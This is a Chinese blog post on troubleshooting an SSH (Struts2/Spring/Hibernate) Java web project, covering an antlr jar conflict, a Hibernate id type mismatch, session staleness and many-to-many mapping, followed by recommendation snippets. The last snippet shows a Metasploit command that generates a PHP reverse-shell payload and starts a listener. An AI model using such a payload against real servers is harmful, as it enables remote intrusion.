1.

Struts has detected an unhandled exception:

Messages: antlr.collections.AST.getLine()I
File: org/hibernate/hql/internal/ast/HqlSqlWalker.java
Line number: 929

  这个问题,每次都是重新编译后还会出现这个异常,原因是Struts2框架自带antlr2.7.2.jar和Hibernate框架自带的ntlr2.7.7.jar冲突了,故只要删除低版本的antlr2.7.2.jar就行,但是antlr2.7.2.jar是Struts2框架自带的,所以删除后重新编译还会再次出现,异常还是解决不了。

具体如下:
Window-->Preferences-->MyEclipse-->Project Libraries-->Struts 2.1 Libraries-->Core 你就会看到antlr2.7.2.jar,此时先勾选Enable advanced configuration,再去取消勾选antlr2.7.2.jar。

再去Workspace\.metadata\.me_tcat7\webapps\项目名\WEB-INF\lib下强制删掉antlr2.7.2,重启Tomcat,异常就不再出现。

两者缺一不可。


2.

hibernate 中 Provided id of the wrong type for class 异常

HTTP Status 500 - Provided id of the wrong type for class com.s_football.pojo.UserBean. Expected: class java.lang.Integer, got class java.lang.String; nested exception is org.hibernate.TypeMismatchException: Provided id of the wrong type for class com.s_football.pojo.UserBean. Expected: class java.lang.Integer, got class java.lang.String

  

收集资料后发现:在HibernateTemplate中的get方法仅仅可以查找主键,不可以查找其他字段。其实是自己没有考虑好,在开始的时候自己还有过这样的疑问:get来查找是怎么对应字段,而且查找出来只是单个的,并不是个List。但是没有多想,现在用get来查找其他字段就抛出了了这个异常。
其实看到这个异常就可以知道,肯定是类型错误,像我这个就是String类型转int类型了(在使用get方法中)。
所以,检查一下类型匹配就可以解决了,包括是不是也用get方法查找其他字段了(其实也是类型匹配的问题)


 3.今天在使用hibernate向数据库中提交一份更新或者插入的时候,表面上是成功的执行了,而且刷新数据库也看见了数据元组中的项确实是改变了,但是当刷新Web页面使后台逻辑重新加载的时候,会时不时的发现bean的状态是外改动的状态,用统计学的方法统计了一下,正常与不正常的几率五五开。
原因:

这可能是由于tomcat这类容器的线程调度功能造成,以前我是用的HibernateUtil和ThreadLocal来实现线程内的session同步,但是当一个线程内对应的session刚刚执行完修改数据的操作之后,另一个线程(可能被分配来select数据库并显示)中的session并不能察觉到脏数据,导致界面上呈现出来的数据是为修改之前的,而当用户刷新Web浏览器的时候,有可能会分配之前的第一个线程来进行渲染界面,这就导致了显示了正常的结果,如此交替往复,可能就是我遇到的这个现象的原因了。

解决方法:和spring配合使用


4.

一般情况下,多对多的关联关系是需要中间表的;

情况一:如果中间表仅仅是做关联用的,它里面仅有2个外键做联合主键,则使用ManyToMany(不用写中间表的Model,只需要写出两张主表的model即可)

方案二   中间表中需要添加额外的字段 

情况二:如果中间表不仅仅是做关联用的,它里面包含了其他字段信息,仅仅靠多对多的关系是搞不定的。

解决方案:多对多的关系拆分为两个一对多。这时候三张表的Model都需要写。我们知道,一对多的关系,一般都是在多的一方做配置。

【参考】:

https://blog.csdn.net/zmx729618/article/details/52117510

https://blog.csdn.net/lijianqingfeng/article/details/35985657?utm_source=blogxgwz4


5.

删除数据库中的表时,需要关注是否有外键关联,可以先 SET FOREIGN_KEY_CHECKS=0 忽略外键关系,就可以修改表了,删除某张表需要先取消/删除它在别的表出现的数据。

不要让对象toString,很可能stackOverFlow栈溢出!


SSH项目中遇到的问题的更多相关文章

  1. 在SSH项目中实现分页效果

    在实现分页的时候,我使用的是数据库下面的User表,实现的效果是通过分页查询 能够将表中的数据分页显示,点击相关的按钮实现:首页.上一页.下一页.末页的显示 1新建一个dynamic web proj ...

  2. hessian在ssh项目中的配置

    一. 在服务端发布一个web项目 1.创建一个动态的web项目,并导入hessian的jar包 2. 在服务端的crm项目中创建接口 package cn.rodge.crm.service;impo ...

  3. SSH 项目中 使用websocket 实现网页聊天功能

    参考文章  :java使用websocket,并且获取HttpSession,源码分析    http://www.cnblogs.com/zhuxiaojie/p/6238826.html 1.在项 ...

  4. SSH 项目中 用Hibernate底层 简单的封装DAO层

    废话不多少了,主要是使用hibernate的查询方法,自己封装了DAO层,供service来方便使用. 首先:必须要继承的 public class CommonDao extends Hiberna ...

  5. SSH实战 · SSH项目中怎么玩验证码

    大致思路与之前servlet中玩验证码类似,生成随机数,产生干扰线,画到图片上,保存到session中. 本人习惯用的时候专门写一个验证码的action:CheckImgAction. step1: ...

  6. Memcached的配置,SSH项目中的整合(com.whalin),Memcached工具类,Memcached的代码调用

     1 修改pom.xml,添加依赖文件: <dependency> <groupId>com.whalin</groupId> <artifactId&g ...

  7. SSH项目中的困惑之一

    1.request.getContextPath()详解 <%=request.getContextPath()%>是为了解决相对路径的问题,可返回站点的根路径. 但不用也可以,比如< ...

  8. SSM&SSH项目中 springmvc 乱码问题解决

    需要在web.xml文件中配置过滤器: <!-- 过滤器 过滤乱码 --> <filter> <filter-name>characterEncodingFilte ...

  9. 在SSH项目中Struts2、Spring、Hibernate分别起到什么作用?

    (1)Struts主要起控制作用,Spring主要起解耦作用,Hibernate主要起操作数据作用. (2)Struts2是一个基于MVC设计模式的Web应用框架,在MVC设计模式中Struts2作为 ...

随机推荐

  1. LightOJ 1023 Discovering Permutations 水题

    http://www.lightoj.com/volume_showproblem.php?problem=1023 题意:26字母全排列 思路:用next_permutation或者思维想一下都可以 ...

  2. Codeforces Round #380 (Div. 2)/729E Subordinates 贪心

    There are n workers in a company, each of them has a unique id from 1 to n. Exaclty one of them is a ...

  3. 2015/9/10 Python基础(11):错误和异常

    程序在执行的过程中会产生异常,出现错误在以前的一个时期是致命的,后来随着程序的发展,使得一些错误的处理方式是柔和的,发生错误会产生一些错误的诊断信息和一些模糊的提示.帮助我们来处理异常.今天将学习Py ...

  4. Jumpserver代码规范

    Jumpserver 项目规范(Draft) 语言框架 Python 3.6.1 (当前最新) Django 1.11 (当前最新) Flask 0.12 Luna (当前最新) Paramiko 2 ...

  5. 【20151105noip膜你赛】bzoj3652 bzoj3653

    题目仿佛在讽刺我... 第一题: 题解: 考虑枚举区间右端点,维护所以左到当前的 and 和 or .注意 and 每次变化至少有一个二进制位从1变 0,or 每次至少有一个位从0变 1,所以最多有l ...

  6. Linux while 和 read 的用法

    Reference: [ linux man doc ] [ CSDN roler_ ] [ Reads from the file descriptor] read 命令说明 SYNTAX : re ...

  7. 阅读关于DuReader:百度大规模的中文机器阅读理解数据集

    很久之前就得到了百度机器阅读理解关于数据集的这篇文章,今天才进行总结!.... 论文地址:https://arxiv.org/abs/1711.05073 自然语言处理是人工智能皇冠上的明珠,而机器阅 ...

  8. Python 16进制与字符串的转换

    电脑上装了Python2.7和3.3两个版本,平时运行程序包括在Eclipse里面调试都会使用2.7,但是由于某些原因在cmd命令行中输入python得到的解释器则是3.3, 一直没对此做处理,因为这 ...

  9. 网络协议之HTTP协议

    HTTP协议详解(真的很经典) 转自:http://blog.csdn.net/gueter/archive/2007/03/08/1524447.aspx Author :Jeffrey 引言 HT ...

  10. msf web脚本反弹shell

    msf > msfpayload php/reverse_php LHOST=x.x.x.x LPORT=2333 R > re.php msf > use multi/handle ...